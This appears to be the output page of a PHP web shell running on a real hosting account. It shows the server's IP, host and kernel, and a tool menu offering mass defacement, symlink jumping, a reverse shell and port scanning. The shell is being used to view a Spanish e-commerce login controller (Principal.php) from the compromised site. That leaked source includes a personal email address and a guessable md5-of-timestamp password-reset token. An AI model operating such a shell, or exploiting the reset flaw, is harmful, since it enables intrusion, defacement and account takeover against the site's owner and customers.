Tul xxx Tul
User / IP
:
216.73.216.217
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
vendefacilfranc
/
controllers
/
Viewing: Principal.php
<?php use PHPMailer\PHPMailer\PHPMailer; use PHPMailer\PHPMailer\SMTP; use PHPMailer\PHPMailer\Exception; //Load Composer's autoloader require 'vendor/autoload.php'; class Principal extends Controller { public function __construct() { parent::__construct(); session_start(); } public function index() { $data['title'] = 'Iniciar Sesion'; $data['empresa'] = $this->model->getEmpresa(); $this->views->getView('principal', 'login', $data); } public function tienda() { $data['title'] = TITLE; $data['moneda'] = MONEDA; $sucursalPublica = $this->model->getSucursalPublica(); $data['id_sucursal_publica'] = !empty($sucursalPublica['id']) ? (int)$sucursalPublica['id'] : null; $data['empresa_publica'] = array( 'nombre' => TITLE, 'direccion' => 'Nicaragua', 'telefono' => '+5055866 8096' ); $productosBase = $this->model->getProductosPublicos($data['id_sucursal_publica']); $data['productos'] = $this->mapProductos($productosBase); $this->views->getView('principal', 'tienda', $data); } public function productosPublicos() { $sucursalPublica = $this->model->getSucursalPublica(); $idSucursalPublica = !empty($sucursalPublica['id']) ? (int)$sucursalPublica['id'] : null; $productos = $this->mapProductos($this->model->getProductosPublicos($idSucursalPublica)); $productosConUrl = array_map(function ($producto) { $producto['foto'] = BASE_URL . $producto['foto']; return $producto; }, $productos); $categorias = array_values(array_unique(array_map(function ($producto) { return $producto['categoria']; }, $productos))); header('Content-Type: application/json; charset=utf-8'); echo json_encode( array( 'productos' => $productosConUrl, 'categorias' => $categorias, 'moneda' => defined('MONEDA') ? MONEDA : '', 'telefono_admin' => $this->model->getTelefonoAdmin() ), JSON_UNESCAPED_UNICODE ); die(); } private function getCarritoWeb(): array { return $_SESSION['carrito_web'] ?? []; } private function calcularTotalCarrito(array $carrito): float { $total = 0; foreach ($carrito as $item) { $precio = isset($item['precio_seleccionado']['monto']) ? (float)$item['precio_seleccionado']['monto'] : (float)($item['price'] ?? 0); $cantidad = (int)($item['quantity'] ?? 1); $total += $precio * $cantidad; } return $total; } private function mapCarritoToProductosVenta(array $carrito): array { $productos = []; foreach ($carrito as $item) { $productoDb = $this->model->getProductoPublico((int)$item['id']); if (empty($productoDb)) { continue; } $precio = isset($item['precio_seleccionado']['monto']) ? (float)$item['precio_seleccionado']['monto'] : (float)($item['price'] ?? 0); $cantidad = (int)($item['quantity'] ?? 1); $productos[] = [ 'id' => (int)$productoDb['id'], 'nombre' => $productoDb['descripcion'] . ' - ' . $productoDb['marca'], 'precio' => $precio, 'cantidad' => $cantidad, ]; } return $productos; } public function cartAdd($idProducto) { if (!is_numeric($idProducto)) { echo json_encode(['icono' => 'warning', 'msg' => 'ID inválido'], JSON_UNESCAPED_UNICODE); die(); } $producto = $this->model->getProductoPublico((int)$idProducto); if (empty($producto)) { echo json_encode(['icono' => 'warning', 'msg' => 'Producto no encontrado'], JSON_UNESCAPED_UNICODE); die(); } $precioBase = $producto['precio_venta']; $decodificado = json_decode($precioBase, true); $precio = (is_array($decodificado) && !empty($decodificado) && isset($decodificado[0]['monto'])) ? (float)$decodificado[0]['monto'] : (float)$precioBase; if ((int)$producto['servicio'] === 0) { $enCarrito = 0; foreach ($this->getCarritoWeb() as $item) { if ((int)$item['id'] === (int)$idProducto) { $enCarrito = (int)($item['quantity'] ?? 0); break; } } if ((int)$producto['cantidad'] < ($enCarrito + 1)) { echo json_encode(['icono' => 'warning', 'msg' => 'Stock insuficiente'], JSON_UNESCAPED_UNICODE); die(); } } $res = addToCartCaja('carrito_web', (int)$idProducto, $producto['descripcion'], $precio, 0, 1, 0); $fotoProducto = !empty($producto['foto']) ? $producto['foto'] : null; if (!empty($_SESSION['carrito_web']) && $fotoProducto) { $rutaFoto = BASE_URL . ltrim($fotoProducto, '/'); foreach ($_SESSION['carrito_web'] as &$item) { if ((int)$item['id'] === (int)$idProducto) { $item['image'] = $rutaFoto; break; } } unset($item); } $cantidadItems = count($_SESSION['carrito_web'] ?? []); $res['cantidad'] = $cantidadItems; echo json_encode($res, JSON_UNESCAPED_UNICODE); die(); } public function cartList() { $productos = $this->getCarritoWeb(); $rutaDefault = BASE_URL . 'assets/images/productos/default.png'; foreach ($productos as &$item) { $productoDb = $this->model->getProductoPublico((int)($item['id'] ?? 0)); if (!empty($productoDb) && !empty($productoDb['foto'])) { $item['image'] = BASE_URL . ltrim($productoDb['foto'], '/'); } elseif (empty($item['image'])) { $item['image'] = $rutaDefault; } } unset($item); usort($productos, function ($a, $b) { return ($b['timestamp'] ?? 0) <=> ($a['timestamp'] ?? 0); }); $total = $this->calcularTotalCarrito($productos); echo json_encode([ 'productos' => $productos, 'total' => number_format($total, 2, '.', ''), 'moneda' => MONEDA, ], JSON_UNESCAPED_UNICODE); die(); } public function cartUpdateQty() { $json = file_get_contents('php://input'); $data = json_decode($json, true); if (!is_array($data) || empty($data['id_producto']) || empty($data['cantidad'])) { echo json_encode(['icono' => 'warning', 'msg' => 'Datos inválidos'], JSON_UNESCAPED_UNICODE); die(); } $idProducto = (int)$data['id_producto']; $cantidad = max(1, (int)$data['cantidad']); $producto = $this->model->getProductoPublico($idProducto); if (empty($producto)) { echo json_encode(['icono' => 'warning', 'msg' => 'Producto no encontrado'], JSON_UNESCAPED_UNICODE); die(); } if ((int)$producto['servicio'] === 0 && (int)$producto['cantidad'] < $cantidad) { echo json_encode(['icono' => 'warning', 'msg' => 'Stock insuficiente'], JSON_UNESCAPED_UNICODE); die(); } $res = updateCantidadCaja('carrito_web', $idProducto, $cantidad, 0); echo json_encode($res, JSON_UNESCAPED_UNICODE); die(); } public function cartRemove() { $json = file_get_contents('php://input'); $data = json_decode($json, true); if (!is_array($data) || empty($data['id_producto'])) { echo json_encode(['icono' => 'warning', 'msg' => 'Datos inválidos'], JSON_UNESCAPED_UNICODE); die(); } $idProducto = (int)$data['id_producto']; $res = removeFromCartCaja('carrito_web', $idProducto, 0); echo json_encode($res, JSON_UNESCAPED_UNICODE); die(); } public function cartClear() { unset($_SESSION['carrito_web']); echo json_encode(['icono' => 'success', 'msg' => 'Carrito limpiado'], JSON_UNESCAPED_UNICODE); die(); } public function checkout() { $json = file_get_contents('php://input'); $datos = json_decode($json, true); $carrito = $this->getCarritoWeb(); if (empty($carrito)) { echo json_encode(['type' => 'warning', 'msg' => 'CARRITO VACÍO'], JSON_UNESCAPED_UNICODE); die(); } $cliente_identidad = isset($datos['identidad']) ? strClean($datos['identidad']) : ''; $cliente_num_identidad = isset($datos['num_identidad']) ? strClean($datos['num_identidad']) : ''; $cliente_nombre = isset($datos['nombre']) ? strClean($datos['nombre']) : ''; $cliente_telefono = isset($datos['telefono']) ? strClean($datos['telefono']) : ''; $cliente_correo = !empty($datos['correo']) ? strClean($datos['correo']) : null; $cliente_direccion = !empty($datos['direccion']) ? strClean($datos['direccion']) : null; $nota = !empty($datos['nota']) ? strClean($datos['nota']) : null; if (empty($cliente_identidad) || empty($cliente_num_identidad) || empty($cliente_nombre) || empty($cliente_telefono)) { echo json_encode(['type' => 'warning', 'msg' => 'DATOS DEL CLIENTE INCOMPLETOS'], JSON_UNESCAPED_UNICODE); die(); } foreach ($carrito as $item) { $productoDb = $this->model->getProductoPublico((int)$item['id']); if (empty($productoDb)) { echo json_encode(['type' => 'warning', 'msg' => 'Producto no disponible'], JSON_UNESCAPED_UNICODE); die(); } if ((int)$productoDb['servicio'] === 0) { $cantidad = (int)($item['quantity'] ?? 1); if ((int)$productoDb['cantidad'] < $cantidad) { echo json_encode(['type' => 'warning', 'msg' => 'Stock insuficiente para: ' . $productoDb['descripcion']], JSON_UNESCAPED_UNICODE); die(); } } } $productosVenta = $this->mapCarritoToProductosVenta($carrito); if (empty($productosVenta)) { echo json_encode(['type' => 'warning', 'msg' => 'CARRITO VACÍO'], JSON_UNESCAPED_UNICODE); die(); } $total = 0; foreach ($productosVenta as $p) { $total += (float)$p['precio'] * (int)$p['cantidad']; } $fecha = date('Y-m-d'); $hora = date('H:i:s'); $metodo = 'WEB'; $descuento = 0; $impuesto = 0; $moneda = MONEDA; $sucursalPublica = $this->model->getSucursalPublica(); $idSucursalPublica = !empty($sucursalPublica['id']) ? (int)$sucursalPublica['id'] : null; if (empty($idSucursalPublica)) { echo json_encode(['type' => 'error', 'msg' => 'Sucursal no configurada'], JSON_UNESCAPED_UNICODE); die(); } $pedidoId = $this->model->registrarVentaPendiente( json_encode($productosVenta), $total, $total, $fecha, $hora, $metodo, $descuento, $impuesto, $moneda, $nota, $cliente_identidad, $cliente_num_identidad, $cliente_nombre, $cliente_telefono, $cliente_correo, $cliente_direccion, $idSucursalPublica ); if ($pedidoId > 0) { $clienteData = [ 'identidad' => $cliente_identidad, 'num_identidad' => $cliente_num_identidad, 'nombre' => $cliente_nombre, 'telefono' => $cliente_telefono, 'correo' => $cliente_correo, 'direccion' => $cliente_direccion, 'nota' => $nota, ]; if (function_exists('whatsappNotifyPedidoWeb')) { whatsappNotifyPedidoWeb( (int)$pedidoId, $clienteData, $productosVenta, (float)$total, (string)$moneda, (string)$fecha, (string)$hora ); } $whatsappUrl = null; if (defined('WHATSAPP_ADMIN_TO') && function_exists('whatsappBuildPedidoWebMessage') && function_exists('whatsappNormalizePhone')) { $waTo = whatsappNormalizePhone((string)WHATSAPP_ADMIN_TO); if ($waTo !== '') { $waMsg = whatsappBuildPedidoWebMessage( (int)$pedidoId, $clienteData, $productosVenta, (float)$total, (string)$moneda, (string)$fecha, (string)$hora ); $whatsappUrl = 'https://wa.me/' . $waTo . '?text=' . rawurlencode($waMsg); } } unset($_SESSION['carrito_web']); echo json_encode(['type' => 'success', 'msg' => 'PEDIDO ENVIADO', 'id' => $pedidoId, 'whatsapp_url' => $whatsappUrl], JSON_UNESCAPED_UNICODE); } else { echo json_encode(['type' => 'error', 'msg' => 'ERROR AL ENVIAR EL PEDIDO'], JSON_UNESCAPED_UNICODE); } die(); } //validar formulario de login public function validar() { if (isset($_POST['correo']) && isset($_POST['clave'])) { if (empty($_POST['correo'])) { $res = array('msg' => 'EL CORREO ES REQUERIDO', 'type' => 'warning'); } else if (empty($_POST['clave'])) { $res = array('msg' => 'LA CONTRASEÑA ES REQUERIDA', 'type' => 'warning'); } else { $correo = strClean($_POST['correo']); $clave = strClean($_POST['clave']); $data = $this->model->getDatos($correo); if (empty($data)) { $res = array('msg' => 'EL CORREO NO EXISTE', 'type' => 'warning'); } else { if ($data['estado'] == 1) { if (password_verify($clave, $data['clave'])) { //VERIFICAR SUPERADMIN $permisos = []; // Si el usuario tiene rol y NO es Super admin, usa los permisos del rol if ($data['rol'] != null && strtolower($data['rol_name']) != 'super admin') { $permisos = json_decode($data['permisos'], true); } else { // Sin rol o rol Super admin: asignar todos los permisos del sistema $resultPermisos = $this->model->getPermisos(); foreach ($resultPermisos as $permiso) { $acciones = (is_null($permiso['acciones'])) ? [] : json_decode($permiso['acciones']); foreach ($acciones as $accion) { $permisos[] = $accion; } } } if (!empty($permisos)) { $_SESSION['permisos'] = $permisos; $_SESSION['id_usuario'] = $data['id']; $_SESSION['nombre_usuario'] = $data['nombre']; $_SESSION['correo_usuario'] = $data['correo']; $_SESSION['perfil_usuario'] = $data['perfil']; $sucursales = json_decode($data['id_sucursal'], true); if (!is_array($sucursales)) { $sucursales = [$data['id_sucursal']]; } $_SESSION['sucursales_permitidas'] = $sucursales; $active_branch = (count($sucursales) > 0 && $sucursales[0] !== '0' && $sucursales[0] !== 0) ? $sucursales[0] : 1; $_SESSION['id_sucursal'] = $active_branch; $_SESSION['rol'] = $data['rol']; $_SESSION['rol_name'] = $data['rol_name']; $evento = 'Inicio de Sesión'; $ip = $_SERVER['REMOTE_ADDR']; $detalle = $_SERVER['HTTP_USER_AGENT']; $acceso = $this->model->registrarAcceso($evento, $ip, $detalle); if ($acceso > 0) { $res = array('msg' => 'DATOS CORRECTOS', 'type' => 'success'); } else { $res = array('msg' => 'ERROR AL CAPTURAR LOS DATOS DEL INICIO', 'type' => 'error'); } } else { $res = array('msg' => 'NO TIENES PERMISOS', 'type' => 'error'); } } else { $res = array('msg' => 'CONTRASEÑA INCORRECTA', 'type' => 'warning'); } } else { $res = array('msg' => 'USUARIO INACTIVO', 'type' => 'warning'); } } } } else { $res = array('msg' => 'ERROR DESCONOCIDO', 'type' => 'error'); } echo json_encode($res, JSON_UNESCAPED_UNICODE); die(); } public function forgot() { $data['title'] = 'Olvidaste tu Contraseña'; $this->views->getView('usuarios', 'forgot', $data); } public function reset($token) { $data['title'] = 'Restablecer Contraseña'; $data['seguridad'] = $this->model->verificarToken($token); if ($data['seguridad']['token'] != $token || empty($token) || $data['seguridad']['token'] == null) { header('Location: ' . BASE_URL); exit; } $this->views->getView('usuarios', 'reset', $data); } public function enviarCorreo($correo) { $verificar = $this->model->verificarCorreo($correo); if (!empty($verificar)) { $mail = new PHPMailer(true); $fecha = date('YmdHis'); $token = md5($fecha); try { //Server settings //$mail->SMTPDebug = SMTP::DEBUG_SERVER; //Enable verbose debug output $mail->SMTPDebug = 0; //Enable verbose debug output $mail->isSMTP(); //Send using SMTP $mail->Host = HOST_SMTP; //Set the SMTP server to send through $mail->SMTPAuth = true; //Enable SMTP authentication $mail->Username = USER_SMTP; //SMTP username $mail->Password = CLAVE_SMTP; //SMTP password $mail->SMTPSecure = PHPMailer::ENCRYPTION_SMTPS; //Enable implicit TLS encryption $mail->Port = PUERTO_SMTP; //TCP port to connect to; use 587 if you have set `SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS` //Recipients $mail->setFrom('angelsifuentes2580@gmail.com', 'VIDA INFORMATICO'); $mail->addAddress($correo); //Content $mail->isHTML(true); $mail->CharSet = 'UTF-8'; //Set email format to HTML $mail->Subject = 'Restablecer Contraseña - ' . TITLE; $mail->Body = 'Has pedido restablecer tu contraseña, si no has sido omite este mensaje <br /> Para cambiar <a href="' . BASE_URL . 'principal/reset/' . $token . '">CLICK AQUI</a>'; $mail->send(); $verificarToken = $this->model->registrarToken($token, $correo); if ($verificarToken == 1) { $res = array('msg' => 'CORREO ENVIADO CON UN TOKEN DE SEGURIDAD', 'type' => 'success'); } else { $res = array('msg' => 'ERROR AL REGISTRAR EL TOKEN', 'type' => 'error'); } } catch (Exception $e) { $res = array('msg' => 'ERROR AL ENVIAR EL CORREO: ' . $mail->ErrorInfo, 'type' => 'error'); } } else { $res = array('msg' => 'EL CORREO NO ESTA REGISTRADO', 'type' => 'warning'); } echo json_encode($res, JSON_UNESCAPED_UNICODE); die(); } public function cambiarClave() { $json = file_get_contents('php://input'); $datos = json_decode($json, true); $nueva = strClean($datos['nueva']); $confirmar = strClean($datos['confirmar']); $token = strClean($datos['token']); if (empty($nueva) || empty($confirmar)) { $res = array('msg' => 'TODO LOS CAMPOS CON * SON REQUERIDOS', 'type' => 'warning'); } else { if ($nueva != $confirmar) { $res = array('msg' => 'LAS CONTRASEÑAS NO COINCIDEN', 'type' => 'warning'); } else { $hash = password_hash($nueva, PASSWORD_DEFAULT); $data = $this->model->modificarClave($hash, $token); if ($data == 1) { $res = array('msg' => 'CONTRASEÑA MODIFICADA', 'type' => 'success'); } else { $res = array('msg' => 'ERROR AL MODIFICAR', 'type' => 'error'); } } } echo json_encode($res, JSON_UNESCAPED_UNICODE); die(); } public function status($id) { $reparacion = $this->model->getReparacion($id); if ($reparacion) { $data = [ 'nroReparacion' => $reparacion['correlativo'], 'estado' => $reparacion['estado'], 'nombreCliente' => $reparacion['cliente'], 'fecha' => $reparacion['fecha_ingreso'], 'problema' => $reparacion['problema'], ]; $this->views->getView('ordenes', 'status', $data); }else{ header('Location: ' . BASE_URL); } } private function mapProductos($productosBase) { $productos = array(); foreach ($productosBase as $item) { $precioBase = $item['precio_venta']; $decodificado = json_decode($precioBase, true); $precio = (is_array($decodificado) && !empty($decodificado) && isset($decodificado[0]['monto'])) ? $decodificado[0]['monto'] : $precioBase; $foto = $item['foto']; if (empty($foto)) { $foto = 'assets/images/productos/default.png'; } $productos[] = array( 'id' => (int) $item['id'], 'nombre' => $item['descripcion'], 'precio' => (float) $precio, 'foto' => $foto, 'categoria' => $item['categoria'], 'marca' => $item['marca'] ); } return $productos; } public function errors() { if (empty($_SESSION['id_usuario'])) { header('Location: ' . BASE_URL); exit; } $data['title'] = 'Página no Encontrada'; $this->views->getView('admin', 'error', $data); } }
Coded With 💗 by
0x6ick